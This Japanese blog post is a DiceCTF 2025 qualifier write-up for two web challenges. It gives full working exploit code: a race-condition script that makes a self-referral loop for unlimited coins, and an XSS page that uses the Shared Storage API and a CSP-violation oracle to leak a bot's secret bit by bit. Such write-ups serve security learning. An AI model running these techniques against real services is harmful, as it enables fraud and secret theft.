st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

DiceCTF 2025 Quals writeup

3/29 - 3/31という日程で開催*1された。BunkyoWesternsで参加して19位。上位5チームがニューヨークで開催される決勝大会に参加できるということだけれども、残念ながら及ばず。今回はCODEGATE CTFのQualsとぶつかっていて*2、予選の通りやすさ等を考慮してCODEGATE CTFを優先していた。このあたりの大きな大会のスケジューリング、なんとかならないかなあ。


[Web 138] pyramid (58 solves)

Would you like to buy some supplements?

(問題サーバのURL)

添付ファイル: index.js

与えられたURLにアクセスすると、次のように名前とリファラルコードの入力を求められる。

概要

適当に入力して登録するとメニューが表示された。別のユーザの登録時に使えるリファラルコードの生成や、それを使ってユーザの登録があった際に押すとコインがもらえるボタンがある。押すまでコインはもらえない。

ユーザの招待による特典は、自分のリファラルコードを使って登録したユーザの数だけでなく、それらのユーザが招待したユーザ数、そしていわばひ孫のユーザ数…に伴って増えていく。早い話がネズミ講だ。

ソースコードを読んでいく。まずフラグが出る条件は次の通り。1000億コインを集められれば勝ちらしいけれども、ひとり招待して1コインだとコツコツやるのは厳しい。

app.get('/buy', (req, res) => {
    if (req.user) {
        const user = req.user
        if (user.bal > 100_000_000_000) {
            user.bal -= 100_000_000_000
            res.type('html').end(`
                ${css}
                <h1>Successful purchase</h1>
                <p>${process.env.FLAG}</p>
            `)
            return
        }
    }
    res.type('html').end(`
        ${css}
        <h1>Not enough coins</h1>
        <a href="/">Home</a>
    `)
})

ユーザ登録の処理は次の通り。招待者数とコイン残高をそれぞれ0に初期化したり、ユーザ情報と結びつくトークン(=セッションID)を発行していたりと普通の処理に見える。ただ、なぜ req.body を参照せず、わざわざ req.on でリクエストボディの受信を待ち、URLSearchParams でパースしているのかわからない。不自然な実装だ。

app.post('/new', (req, res) => {
    const token = random()

    const body = []
    req.on('data', Array.prototype.push.bind(body))
    req.on('end', () => {
        const data = Buffer.concat(body).toString()
        const parsed = new URLSearchParams(data)
        const name = parsed.get('name')?.toString() ?? 'JD'
        const code = parsed.get('refer') ?? null

        // referrer receives the referral
        const r = referrer(code)
        if (r) { r.ref += 1 }

        users.set(token, {
            name,
            code,
            ref: 0,
            bal: 0,
        })
    })

    res.header('set-cookie', `token=${token}`)
    res.redirect('/')
})

リファラルコードの発行は次の通り。リファラルコードとトークンを結びつけており、特に気になることはない。

app.get('/code', (req, res) => {
    const token = req.token
    if (token) {
        const code = random()
        codes.set(code, token)
        res.type('html').end(`
            ${css}
            <h1>Referral code generated</h1>
            <p>Your code: <strong>${code}</strong></p>
            <a href="/">Home</a>
        `)
        return
    }
    res.end()
})

最後に、招待者数に基づいてコインを発行する処理は次の通り。これも不自然な処理はない。ブラケットを使っており、かつセミコロンは使っていないということで、セミコロンの自動挿入でバグらないかなと考えてしまうが、ブレースで囲まれているので特に問題はなさそうだ。うーむ。

// referrals translate 1:1 to coins
// you receive half of your referrals as coins
// your referrer receives the other half as kickback
//
// if your referrer is null, you can turn all referrals into coins
app.get('/cashout', (req, res) => {
    if (req.user) {
        const u = req.user
        const r = referrer(u.code)
        if (r) {
            [u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
        } else {
            [u.ref, u.bal] = [0, u.bal + u.ref]
        }
    }
    res.redirect('/')
})

自分自身を招待する

ユーザ登録ができる POST /new の実装が不自然だと言っていた。改めて実装をよく見ると、これでは Set-Cookie によるヘッダの送信の後に、ユーザ情報の初期化という順番になるのではないかと考えた。つまり、ユーザ登録が完了するより前にトークンを手に入れることができるのではないか。

ユーザ登録時にログが出るようソースコードを改修したうえで、次のように Content-Length だけ送ってリクエストボディの送信を待たせるようなHTTPリクエストを送る。すると、ユーザ登録が完了していないはずなのに Set-Cookie を含むレスポンスが送られていることが確認できた。また、3秒後にリクエストボディを送ることで、ユーザ登録が遅れて完了していることも確認できた。

$ (echo -en "POST /new HTTP/1.1\r\nHost: localhost:8000\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 16\r\n\r\n"; sleep 3; echo -en 'name=aaaa&refer=') | nc localhost 3000
HTTP/1.1 302 Found
X-Powered-By: Express
set-cookie: token=3b0cf8ec01b0a26058d5553ea9cb25ab
Location: /
Vary: Accept
Content-Type: text/plain; charset=utf-8
Content-Length: 23
Date: Mon, 31 Mar 2025 00:05:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Found. Redirecting to /

リファラルコードを発行できる GET /code の実装も、よく見るとトークンが存在しているかだけをチェックしていて、トークンに結びついたユーザが存在しているか(=ユーザ登録が完了しているか)は確認していないことがわかる。見切り発車でリファラルコードを発行しておいて、GET /cashout で招待者数に基づいたコインを配布する際にようやくユーザの存在を確認するらしい。

app.get('/code', (req, res) => {
    const token = req.token
    if (token) {
        const code = random()
        codes.set(code, token)
        res.type('html').end(`
            ${css}
            <h1>Referral code generated</h1>
            <p>Your code: <strong>${code}</strong></p>
            <a href="/">Home</a>
        `)
        return
    }
    res.end()
})

これらを組み合わせれば、自分が発行したリファラルコードで自分自身を招待するという循環参照を作り出せそうだ。

解く

ここまででわかったことをもとにexploitを書く。別にわざわざ並列処理でやる必要はなかったのだけれども、不必要とわかった段階で途中まで書いてしまっており、後から書き直すのが面倒だった。

import queue
import re
import threading
import uuid
import time
import httpx
from pwn import *

target = '(省略):443'
BASE_URL = f'https://{target}'
username = str(uuid.uuid4())

def get_token(q1, q2):
    # 1. 中途半端にリクエストを送り、トークンを得る
    print(1)
    host, port = target.split(':')
    sock = remote(host, port, ssl=True)
    payload1 = b'POST /new HTTP/1.1\r\nHost: localhost:8000\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 80\r\n\r\n'
    sock.send(payload1)

    sock.recvuntil(b'set-cookie: ')
    cookie = sock.recvline().strip().decode()
    token = cookie.split('=')[1]
    q1.put(token)
    print(f'{token=}')

    # 3. コードが得られたので、自分自身をそれで招待
    code = q2.get()
    print(3)
    payload2 = f'name={username}&refer={code}'.encode()
    sock.send(payload2)
    print(f'{code=}')
    q1.put('ok')

    # 5. 増殖させていく
    q2.get()
    print(5)
    with httpx.Client(base_url=BASE_URL) as client:
        client.cookies['token'] = token
        r = client.get('/').text
        if '1 referrals' not in r:
            raise Exception('mouikkai')

        cash = 0
        while cash < 100_000_000_000:
            client.get('/cashout')
            print(cash)
            r = client.get('/').text
            cash = float(re.findall(r'<strong>([0-9.]+)</strong>', r)[0])

        r = client.get('/buy')
        print(r.text)

def get_code(q1, q2):
    # 2. 得たトークンを使ってリファラルコードを得る
    token = q1.get()
    print(2)
    with httpx.Client(base_url=BASE_URL) as client:
        r = client.get('/code', cookies={'token': token})
        code = re.findall(r'<strong>(.+)</strong>', r.text)[0]
        q2.put(code)

        # 4. ユーザ登録が完了したので招待者カウントを増やす
        time.sleep(1)
        q1.get()
        print(4)
        client.post('/new', data={
            'name': str(uuid.uuid4()),
            'refer': code
        })
        q2.put('ok')

if __name__ == "__main__":
    q1 = queue.Queue()
    q2 = queue.Queue()
    
    thread1 = threading.Thread(
        target=get_token, 
        args=(q1, q2)
    )
    thread2 = threading.Thread(
        target=get_code, 
        args=(q1, q2)
    )
    
    thread1.start()
    thread2.start()
    
    thread1.join()
    thread2.join()

実行するとフラグが得られた。

$ python3 s.py

1
[+] Opening connection to (省略) on port 443: Done
token='868074e4320f539e29ad326fc82d890a'
2
3
code='e64fbeaa6d4daf5ac98fcedb188500bb'
4
5
0
0.5
1.25
2.375
...
36768468715.93302
55152703074.399536
82729054612.0993


    <link
        rel="stylesheet"
        href="https://unpkg.com/axist@latest/dist/axist.min.css"
    >

                <h1>Successful purchase</h1>
                <p>dice{007227589c05e703}</p>
dice{007227589c05e703}

[Web 165] nobin (32 solves)

Save important messages with nobin! (TODO: figure out how to read it back)

(InstancerのURL)

添付ファイル: nobin.tar.gz

概要

見た目は普通のメモアプリだ。ただし、メモの内容をセーブすると言っているくせに、リロードしても復元されない。

サーバ側からソースコードを確認していく。フラグの場所は次の通りで、/flag に秘密の文字列を投げるとくれる。

const secret = crypto.randomBytes(8).toString("hex");
console.log(`secret: ${secret}`);
…
app.get("/flag", (req, res) => res.send(req.query.secret === secret ? FLAG : "No flag for you!"));

secret/report というURLを報告できるルートで bot.visit(secret, url); という形で参照されている。このbotの処理は次の通り。secret をその内容としてメモを保存したうえで、ユーザが報告したURLにアクセスしてくれるらしい。なお、Chromiumの立ち上げ時にPrivacy Sandbox関連のオプションが付与されている。

        browser = await puppeteer.launch({
            headless: "new",
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--jitless",
                "--enable-features=OverridePrivacySandboxSettingsLocalTesting",
                `--privacy-sandbox-enrollment-overrides=http://localhost:${PORT}`,
            ],
            dumpio: true,
            userDataDir: "/tmp/puppeteer",
        });

        const context = await browser.createBrowserContext();

        let page = await context.newPage();
        await page.goto(`http://localhost:${PORT}`, { timeout: 5000, waitUntil: 'domcontentloaded' });

        // save secret
        await page.waitForSelector("textarea[id=message]");
        await page.type("textarea[id=message]", secret);
        await page.click("input[type=submit]");
        await sleep(3000);
        await page.close();
  
        // go to exploit page
        page = await context.newPage();
        await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' });
        await sleep(90_000);

        await browser.close();

/xss という、XSSし放題なルートもある。いいのか。

app.get("/xss", (req, res) => res.send(req.query.xss ?? "Hello, world!"));

クライアント側のコードを読む。大変シンプルだ。入力されたメモは sharedStorage (Shared Storage API)を使って保存しているが、保存した内容を復元する処理はない。はあ。

<!DOCTYPE html>
<html>
  <head>
    <title>nobin</title>
    <link rel="stylesheet" href="https://unpkg.com/marx-css/css/marx.min.css">
  </head>
  <body>
    <main>
      <h1>nobin</h1>
      <hr />
      <h5>Enter your message to be saved:</h5>
      <!-- TODO: implement a way to read the message -->
      <p></p>
      <form>
        <label for="message">Message:</label>
        <textarea id="message" placeholder="Message"></textarea>
        <br />
        <input type="submit" value="Save">
      </form>
      <script>
        document.querySelector('form').addEventListener('submit', async (e) => {
          e.preventDefault();
          const message = document.querySelector('textarea').value;
          await sharedStorage.set("message", message);
          document.querySelector('p').textContent = "Message saved!";
          setTimeout(() => {
            document.querySelector('p').textContent = "";
          }, 2000);
        });
      </script>
      <br />
      <a href="/report">Report</a>
    </main>
  </body>
</html>

Shared Storageについてなにも知らなかったので、Claudeと対話してコンセプトを教えてもらったりコードを書いてもらったりしつつ、並行して自分でもこのAPIや関連する概念について調べる。今回の問題にかかわってくるところでいうと、データの書き込みは簡単にできるけれども、読み出しは制限されているのが大きな特徴だろうか。

なるほど、たしかに await sharedStorage.get('message') を実行してみてもfenced frameの外では呼び出せないと怒られてしまう。

制約をバイパスして外に情報を持ち出そう

Shared Storageは SharedStorageWorklet という非常に制限されたサンドボックスの中でしか読み出せないらしい。読み出しても、たとえば (new Image).src = '//example.com?' + secret のようなことをしてサンドボックスから外部へ持ち出すことはできない。

外部に送信したり、外部から処理結果を観測できそうな機能はまず使えない。なにか好きな返り値を返させても外部からはそれを得られないし、例外すら試した限りでは捕捉できなかった。Private Aggregation APISelect URL APIという専用のAPIを使う必要がある。

Select URL APIはどのように使えるか。URLの集合をworkletに与えてやった上で、workletがそのうちのひとつを返すことで、workletの呼び出し元はそのURLと結びついた FencedFrameConfig を得られる。これはDevToolsのコンソールからそのオブジェクトについて調べようとした次のスクリーンショットを見るとわかるように、外部からは詳細を得ることができない。しかし、fenced frame(fencedframe 要素)の config に代入して表示させることはできる。

文章だけだとなんのこっちゃという感じなので、それらのAPIを使うコードを紹介する。worklet中の処理は、Shared Storageの message というキーに入っている値を読み出し、その3文字目の4ビット目が立っていれば /test1.html を、立っていなければ /test2.html を返すというものになっている。

const workletScript = `
  class ReadValueOperation {
    async run(urls) {
      const value = await sharedStorage.get('message');

      if (value.charCodeAt(2) & (1 << 3)) {
        return 0;
      }

      return 1;
    }
  }

  register('read-value', ReadValueOperation);
`;

const blob = new Blob([workletScript], { type: 'application/javascript' });
const workletUrl = URL.createObjectURL(blob);

async function readSharedStorageValue() {
    await window.sharedStorage.worklet.addModule(workletUrl);

    const selectedUrl = await window.sharedStorage.selectURL('read-value', [
        { url: 'http://localhost:3000/test1.html' },
        { url: 'http://localhost:3000/test2.html' }
    ], { resolveToConfig: true });

    const frame = document.createElement('fencedframe');
    frame.config = selectedUrl;
    document.body.appendChild(frame);

    URL.revokeObjectURL(workletUrl);
}

readSharedStorageValue();

Supports-Loading-Mode: fenced-frame というヘッダを返さんかいと怒られているが、とりあえず動いてはいそう。

使い方が悪いのかは知らないが、フレームでなにも表示できないという前提のもとで、どうやって制約をバイパスして情報を得るか。たとえばCSPの frame-src はどうかと考えた。'none' にしておけば、フレームが表示された際に問答無用で弾かれ、また securitypolicyviolation イベントを捕捉できるのではないか。

これが正解だった。/xss?xss=<meta%20http-equiv="Content-Security-Policy"%20content="frame-src%20%27none%27"> 上で、workletで次のようなコードを実行させる。するとフレームが表示されるので、securitypolicyviolation イベントが発生する。ここで 0 == 11 == 1 に変えてやると、無限ループが発生するので一向にworkletが終了しなくなるために securitypolicyviolation イベントが発生しない。これをオラクルとして1ビットずつ情報が得られそうだ。

  class ReadValueOperation {
    async run(urls) {
      const value = await sharedStorage.get('message');

      if (0 == 1) {
        while (true) ;
      }

      return urls[0];
    }
  }

  register('read-value', ReadValueOperation);

解く

最終的に、次のようなexploitができあがった。

<body>
<script>
const BASE_URL = 'http://localhost:3000';
const TEMPLATE = `
const workletScript = \`
  class ReadValueOperation {
    async run(urls) {
      const value = await sharedStorage.get('message');

      if (value.charCodeAt(INDEX) & (1 << BIT)) {
        while (true) ;
      }

      return 0;
    }
  }

  register('read-value', ReadValueOperation);
\`;

const blob = new Blob([workletScript], { type: 'application/javascript' });
const workletUrl = URL.createObjectURL(blob);

async function readSharedStorageValue() {
    await window.sharedStorage.worklet.addModule(workletUrl);

    const selectedUrl = await window.sharedStorage.selectURL('read-value', [
        { url: 'http://localhost:3000/error.html' }
    ], { resolveToConfig: true });

    const frame = document.createElement('fencedframe');
    frame.config = selectedUrl;
    document.body.appendChild(frame);

    URL.revokeObjectURL(workletUrl);
}

setTimeout(() => { window.opener.postMessage(true, '*'); }, 500);
document.addEventListener('securitypolicyviolation', (e) => {
    window.opener.postMessage(false, '*');
});

readSharedStorageValue();
`;

(async () => {
let flag = '';
let i = flag.length;
while (true) {
    let c = 0;
    for (let j = 0; j < 7; j++) {
        const tmp = await new Promise(r => {
            let payload = `<meta http-equiv="Content-Security-Policy" content="frame-src 'none'">`;
            payload += `<script>${TEMPLATE.replace('INDEX', i).replace('BIT', j)}<\/script>`;

            const url = new URL(BASE_URL);
            url.pathname = '/xss';
            url.searchParams.set('xss', payload);

            const w = window.open(url);
            const f = m => {
                const res = (m.data);
                w.close();
                r(res);
            };
            window.onmessage = f;
        });

        if (tmp) {
            c |= 1 << j;
        }
    }

    if (c === 0) break;

    flag += String.fromCharCode(c);
    console.log(flag);
    (new Image).src = '/log?' + flag;
    i++;
}
})();

</script>
</body>

このURLを通報すると、次のように secret が得られた。

[Sun Mar 30 15:28:22 2025] …:1098 [404]: GET /log?1616ca73d86a168a - No such file or directory
[Sun Mar 30 15:28:22 2025] …:1098 Closing

/flag?secret=1616ca73d86a168a にアクセスするとフラグが得られた。

dice{th1s_api_is_w4ck}

関連するAPIについてまったく理解せずに解いた。競技中はドキュメントをちゃんと読まずにClaudeにほとんどコードを書かせていたけれども、どうやら sharedStorage.selectURL のオプションで resolveToConfigfalse にすると、Fenced Frameではなく iframe で表示させることができたらしい。

それでもURLは urn:uuid:dccd6e1b-4771-4c0b-a9ac-b6ae5ecbdebf というような形式になってしまうわけだが、iframe なので contentWindow にアクセスできるし、そこから body のテキストを読む等すればどこにアクセスしたかは簡単にわかる。

*1:もともと2月に開催予定だったが、延期された

*2:CODEGATE CTFが開催数週間前に突然告知を出してぶつけてきたという構図だった